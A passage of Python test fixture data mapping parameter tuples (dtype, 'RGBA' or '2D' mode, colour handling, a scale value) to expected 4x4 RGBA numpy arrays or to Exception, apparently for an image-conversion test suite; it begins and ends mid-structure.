[[0, 255, 255, 255], [0, 255, 0, 255], [0, 255, 0, 255], [255, 0, 0, 0]],
[[0, 0, 255, 0], [255, 255, 0, 255], [255, 0, 0, 255], [0, 255, 255, 0]],
[[255, 0, 255, 255], [0, 255, 0, 255], [255, 0, 0, 0], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, np.uint8, None, False): np.array(
[
[[0, 255, 0, 0], [0, 0, 255, 255], [255, 255, 0, 255], [255, 0, 0, 255]],
[[255, 255, 0, 255], [0, 255, 0, 255], [0, 255, 0, 255], [0, 0, 255, 0]],
[[255, 0, 0, 0], [0, 255, 255, 255], [0, 0, 255, 255], [255, 255, 0, 0]],
[[255, 0, 255, 255], [0, 255, 0, 255], [0, 0, 255, 0], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, np.uint8, 232, True): np.array(
[
[[0, 0, 255, 0], [0, 0, 0, 255], [0, 255, 255, 0], [255, 0, 0, 0]],
[[0, 0, 255, 255], [0, 255, 255, 255], [255, 0, 0, 0], [0, 255, 255, 255]],
[[0, 0, 0, 0], [0, 255, 255, 255], [255, 0, 255, 255], [0, 0, 255, 0]],
[[0, 0, 0, 0], [255, 0, 0, 0], [255, 255, 255, 255], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, np.uint8, 232, False): np.array(
[
[[255, 0, 0, 0], [0, 0, 0, 255], [255, 255, 0, 0], [0, 0, 255, 0]],
[[255, 0, 0, 255], [255, 255, 0, 255], [0, 0, 255, 0], [255, 255, 0, 255]],
[[0, 0, 0, 0], [255, 255, 0, 255], [255, 0, 255, 255], [255, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 255, 0], [255, 255, 255, 255], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, np.uint16, None, True): np.array(
[
[[0, 255, 0, 0], [0, 0, 0, 255], [255, 0, 255, 255], [0, 0, 255, 0]],
[[255, 255, 0, 0], [255, 0, 0, 0], [255, 0, 0, 0], [0, 0, 255, 0]],
[[0, 0, 0, 255], [0, 255, 255, 0], [0, 0, 0, 255], [0, 0, 255, 255]],
[[255, 0, 0, 0], [0, 0, 0, 0], [255, 0, 0, 0], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, np.uint16, None, False): np.array(
[
[[0, 255, 0, 0], [0, 0, 0, 255], [255, 0, 255, 255], [255, 0, 0, 0]],
[[0, 255, 255, 0], [0, 0, 255, 0], [0, 0, 255, 0], [255, 0, 0, 0]],
[[0, 0, 0, 255], [255, 255, 0, 0], [0, 0, 0, 255], [255, 0, 0, 255]],
[[0, 0, 255, 0], [0, 0, 0, 0], [0, 0, 255, 0], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, np.uint16, 232, True): np.array(
[
[[0, 0, 255, 0], [0, 255, 0, 255], [0, 0, 255, 0], [255, 0, 255, 0]],
[[255, 0, 0, 0], [255, 0, 0, 255], [0, 255, 0, 0], [0, 0, 0, 255]],
[[0, 0, 255, 0], [255, 0, 255, 255], [255, 0, 255, 0], [0, 0, 0, 0]],
[[255, 255, 0, 0], [0, 255, 0, 0], [255, 255, 255, 0], [255, 0, 255, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, np.uint16, 232, False): np.array(
[
[[255, 0, 0, 0], [0, 255, 0, 255], [255, 0, 0, 0], [255, 0, 255, 0]],
[[0, 0, 255, 0], [0, 0, 255, 255], [0, 255, 0, 0], [0, 0, 0, 255]],
[[255, 0, 0, 0], [255, 0, 255, 255], [255, 0, 255, 0], [0, 0, 0, 0]],
[[0, 255, 255, 0], [0, 255, 0, 0], [255, 255, 255, 0], [255, 0, 255, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, np.uint16, 13333, True): np.array(
[
[[0, 255, 255, 0], [255, 0, 255, 255], [255, 255, 255, 0], [255, 255, 255, 0]],
[[255, 0, 0, 0], [0, 0, 0, 255], [255, 255, 255, 0], [0, 255, 0, 255]],
[[255, 255, 255, 0], [0, 255, 0, 255], [255, 0, 255, 255], [0, 0, 255, 255]],
[[0, 0, 255, 255], [255, 0, 0, 255], [255, 0, 255, 0], [0, 255, 255, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, np.uint16, 13333, False): np.array(
[
[[255, 255, 0, 0], [255, 0, 255, 255], [255, 255, 255, 0], [255, 255, 255, 0]],
[[0, 0, 255, 0], [0, 0, 0, 255], [255, 255, 255, 0], [0, 255, 0, 255]],
[[255, 255, 255, 0], [0, 255, 0, 255], [255, 0, 255, 255], [255, 0, 0, 255]],
[[255, 0, 0, 255], [0, 0, 255, 255], [255, 0, 255, 0], [255, 255, 0, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", None, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", None, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", None, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 232, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", None, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 232, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", None, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", None, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", np.uint8, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", np.uint8, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", np.uint8, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", np.uint8, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", np.uint16, None, True): np.array(
[
[[0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [255, 0, 0, 0], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", np.uint16, None, False): np.array(
[
[[0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 255, 0], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", np.uint16, 232, True): np.array(
[
[[0, 255, 0, 0], [0, 0, 0, 255], [255, 0, 255, 255], [0, 0, 255, 0]],
[[255, 255, 0, 255], [255, 255, 0, 0], [255, 0, 0, 0], [0, 0, 255, 0]],
[[0, 0, 0, 255], [0, 255, 255, 0], [0, 0, 0, 255], [0, 0, 255, 255]],
[[255, 0, 0, 0], [0, 0, 0, 0], [255, 0, 0, 0], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", np.uint16, 232, False): np.array(
[
[[0, 255, 0, 0], [0, 0, 0, 255], [255, 0, 255, 255], [255, 0, 0, 0]],
[[0, 255, 255, 255], [0, 255, 255, 0], [0, 0, 255, 0], [255, 0, 0, 0]],
[[0, 0, 0, 255], [255, 255, 0, 0], [0, 0, 0, 255], [255, 0, 0, 255]],
[[0, 0, 255, 0], [0, 0, 0, 0], [0, 0, 255, 0], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", np.uint16, 13333, True): np.array(
[
[[0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [255, 0, 0, 0], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "SIMPLE", np.uint16, 13333, False): np.array(
[
[[0, 0, 0, 0], [0, 0, 0, 255], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]],
[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 255, 0], [0, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGB", None, None, True): Exception,
(np.uint8, "RGBA", "RGB", None, None, False): Exception,
(np.uint8, "RGBA", "RGB", None, 232, True): Exception,
(np.uint8, "RGBA", "RGB", None, 232, False): Exception,
(np.uint8, "RGBA", "RGB", None, 13333, True): Exception,
(np.uint8, "RGBA", "RGB", None, 13333, False): Exception,
(np.uint8, "RGBA", "RGB", np.uint8, None, True): Exception,
(np.uint8, "RGBA", "RGB", np.uint8, None, False): Exception,
(np.uint8, "RGBA", "RGB", np.uint8, 232, True): Exception,
(np.uint8, "RGBA", "RGB", np.uint8, 232, False): Exception,
(np.uint8, "RGBA", "RGB", np.uint8, 13333, True): Exception,
(np.uint8, "RGBA", "RGB", np.uint8, 13333, False): Exception,
(np.uint8, "RGBA", "RGB", np.uint16, None, True): Exception,
(np.uint8, "RGBA", "RGB", np.uint16, None, False): Exception,
(np.uint8, "RGBA", "RGB", np.uint16, 232, True): Exception,
(np.uint8, "RGBA", "RGB", np.uint16, 232, False): Exception,
(np.uint8, "RGBA", "RGB", np.uint16, 13333, True): Exception,
(np.uint8, "RGBA", "RGB", np.uint16, 13333, False): Exception,
(np.uint8, "RGBA", "RGBA", None, None, True): np.array(
[
[[0, 3, 73, 0], [0, 3, 35, 0], [0, 0, 126, 0], [0, 0, 24, 145]],
[[0, 3, 242, 255], [0, 3, 29, 0], [0, 2, 133, 0], [0, 2, 141, 235]],
[[0, 0, 248, 0], [0, 0, 99, 0], [0, 1, 119, 45], [0, 1, 108, 0]],
[[0, 3, 166, 245], [0, 2, 13, 77], [0, 0, 185, 0], [0, 0, 103, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", None, None, False): np.array(
[
[[73, 3, 0, 0], [35, 3, 0, 0], [126, 0, 0, 0], [24, 0, 0, 145]],
[[242, 3, 0, 255], [29, 3, 0, 0], [133, 2, 0, 0], [141, 2, 0, 235]],
[[248, 0, 0, 0], [99, 0, 0, 0], [119, 1, 0, 45], [108, 1, 0, 0]],
[[166, 3, 0, 245], [13, 2, 0, 77], [185, 0, 0, 0], [103, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", None, 232, True): np.array(
[
[[0, 3, 66, 0], [0, 2, 31, 0], [0, 0, 114, 0], [0, 0, 21, 132]],
[[0, 3, 220, 232], [0, 3, 26, 0], [0, 2, 121, 0], [0, 2, 128, 213]],
[[0, 0, 225, 0], [0, 0, 90, 0], [0, 1, 108, 41], [0, 1, 98, 0]],
[[0, 2, 151, 222], [0, 2, 11, 70], [0, 0, 168, 0], [0, 0, 93, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", None, 232, False): np.array(
[
[[66, 3, 0, 0], [31, 2, 0, 0], [114, 0, 0, 0], [21, 0, 0, 132]],
[[220, 3, 0, 232], [26, 3, 0, 0], [121, 2, 0, 0], [128, 2, 0, 213]],
[[225, 0, 0, 0], [90, 0, 0, 0], [108, 1, 0, 41], [98, 1, 0, 0]],
[[151, 2, 0, 222], [11, 2, 0, 70], [168, 0, 0, 0], [93, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", None, 13333, True): np.array(
[
[[0, 204, 255, 0], [0, 162, 255, 0], [0, 29, 255, 0], [0, 0, 255, 255]],
[[0, 196, 255, 255], [0, 208, 255, 0], [0, 145, 255, 0], [0, 138, 255, 255]],
[[0, 41, 255, 0], [0, 0, 255, 0], [0, 90, 255, 255], [0, 78, 255, 0]],
[[0, 162, 255, 255], [0, 118, 255, 255], [0, 0, 255, 0], [0, 0, 255, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", None, 13333, False): np.array(
[
[[255, 204, 0, 0], [255, 162, 0, 0], [255, 29, 0, 0], [255, 0, 0, 255]],
[[255, 196, 0, 255], [255, 208, 0, 0], [255, 145, 0, 0], [255, 138, 0, 255]],
[[255, 41, 0, 0], [255, 0, 0, 0], [255, 90, 0, 255], [255, 78, 0, 0]],
[[255, 162, 0, 255], [255, 118, 0, 255], [255, 0, 0, 0], [255, 0, 0, 0]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", np.uint8, None, True): np.array(
[
[[255, 0, 0, 255], [255, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 0]],
[[255, 0, 255, 255], [255, 0, 0, 255], [255, 255, 0, 255], [255, 255, 0, 0]],
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 0, 0, 0], [255, 0, 255, 255]],
[[255, 0, 255, 0], [255, 255, 0, 0], [255, 255, 0, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", np.uint8, None, False): np.array(
[
[[0, 0, 255, 255], [0, 0, 255, 255], [255, 255, 255, 255], [255, 255, 255, 0]],
[[255, 0, 255, 255], [0, 0, 255, 255], [0, 255, 255, 255], [0, 255, 255, 0]],
[[255, 255, 255, 255], [0, 255, 255, 255], [0, 0, 255, 0], [255, 0, 255, 255]],
[[255, 0, 255, 0], [0, 255, 255, 0], [0, 255, 255, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", np.uint8, 232, True): np.array(
[
[[255, 0, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 0, 255]],
[[255, 0, 255, 255], [255, 0, 255, 255], [255, 255, 0, 255], [255, 255, 255, 0]],
[[255, 255, 0, 255], [255, 255, 255, 255], [255, 0, 255, 0], [255, 0, 255, 255]],
[[255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", np.uint8, 232, False): np.array(
[
[[255, 0, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255]],
[[255, 0, 255, 255], [255, 0, 255, 255], [0, 255, 255, 255], [255, 255, 255, 0]],
[[0, 255, 255, 255], [255, 255, 255, 255], [255, 0, 255, 0], [255, 0, 255, 255]],
[[0, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 0, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 0, 255, 255], [255, 255, 255, 255]],
[[255, 0, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 0, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 0, 255, 255], [255, 255, 255, 255]],
[[255, 0, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", np.uint16, None, True): np.array(
[
[[255, 0, 0, 255], [255, 0, 0, 255], [255, 0, 255, 255], [255, 255, 255, 0]],
[[255, 255, 0, 0], [255, 255, 0, 255], [255, 255, 0, 255], [255, 255, 255, 0]],
[[255, 0, 0, 255], [255, 255, 255, 255], [255, 0, 0, 255], [255, 0, 255, 255]],
[[255, 0, 0, 0], [255, 255, 0, 0], [255, 255, 0, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", np.uint16, None, False): np.array(
[
[[0, 0, 255, 255], [0, 0, 255, 255], [255, 0, 255, 255], [255, 255, 255, 0]],
[[0, 255, 255, 0], [0, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 0]],
[[0, 0, 255, 255], [255, 255, 255, 255], [0, 0, 255, 255], [255, 0, 255, 255]],
[[0, 0, 255, 0], [0, 255, 255, 0], [0, 255, 255, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", np.uint16, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 0, 0], [255, 255, 0, 255], [255, 0, 0, 255], [255, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 0, 255, 0], [255, 0, 0, 255]],
[[255, 0, 0, 255], [255, 0, 0, 0], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", np.uint16, 232, False): np.array(
[
[[255, 255, 255, 255], [0, 0, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 255, 255, 0], [0, 255, 255, 255], [0, 0, 255, 255], [0, 0, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 0, 255, 0], [0, 0, 255, 255]],
[[0, 0, 255, 255], [0, 0, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", np.uint16, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 0, 255, 255], [255, 255, 255, 0]],
[[255, 0, 0, 0], [255, 0, 0, 255], [255, 0, 255, 255], [255, 255, 0, 255]],
[[255, 0, 255, 255], [255, 255, 0, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 0], [255, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", "RGBA", np.uint16, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 0, 255, 255], [255, 255, 255, 0]],
[[0, 0, 255, 0], [0, 0, 255, 255], [255, 0, 255, 255], [0, 255, 255, 255]],
[[255, 0, 255, 255], [0, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255]],
[[255, 255, 255, 0], [0, 0, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, None, None, True): np.array(
[
[[52, 52, 52, 255], [214, 214, 214, 255], [158, 158, 158, 255], [159, 159, 159, 255]],
[[224, 224, 224, 255], [133, 133, 133, 255], [132, 132, 132, 255], [0, 0, 0, 255]],
[[39, 39, 39, 255], [221, 221, 221, 255], [162, 162, 162, 255], [83, 83, 83, 255]],
[[57, 57, 57, 255], [255, 255, 255, 255], [187, 187, 187, 255], [44, 44, 44, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, None, None, False): np.array(
[
[[52, 52, 52, 255], [214, 214, 214, 255], [158, 158, 158, 255], [159, 159, 159, 255]],
[[224, 224, 224, 255], [133, 133, 133, 255], [132, 132, 132, 255], [0, 0, 0, 255]],
[[39, 39, 39, 255], [221, 221, 221, 255], [162, 162, 162, 255], [83, 83, 83, 255]],
[[57, 57, 57, 255], [255, 255, 255, 255], [187, 187, 187, 255], [44, 44, 44, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, None, 232, True): np.array(
[
[[47, 47, 47, 255], [194, 194, 194, 255], [144, 144, 144, 255], [144, 144, 144, 255]],
[[203, 203, 203, 255], [121, 121, 121, 255], [120, 120, 120, 255], [0, 0, 0, 255]],
[[35, 35, 35, 255], [201, 201, 201, 255], [148, 148, 148, 255], [76, 76, 76, 255]],
[[52, 52, 52, 255], [232, 232, 232, 255], [170, 170, 170, 255], [40, 40, 40, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, None, 232, False): np.array(
[
[[47, 47, 47, 255], [194, 194, 194, 255], [144, 144, 144, 255], [144, 144, 144, 255]],
[[203, 203, 203, 255], [121, 121, 121, 255], [120, 120, 120, 255], [0, 0, 0, 255]],
[[35, 35, 35, 255], [201, 201, 201, 255], [148, 148, 148, 255], [76, 76, 76, 255]],
[[52, 52, 52, 255], [232, 232, 232, 255], [170, 170, 170, 255], [40, 40, 40, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, None, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, None, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, np.uint8, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, np.uint8, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, np.uint8, 232, True): np.array(
[
[[0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint16, "2D", None, np.uint8, 232, False): np.array(
[
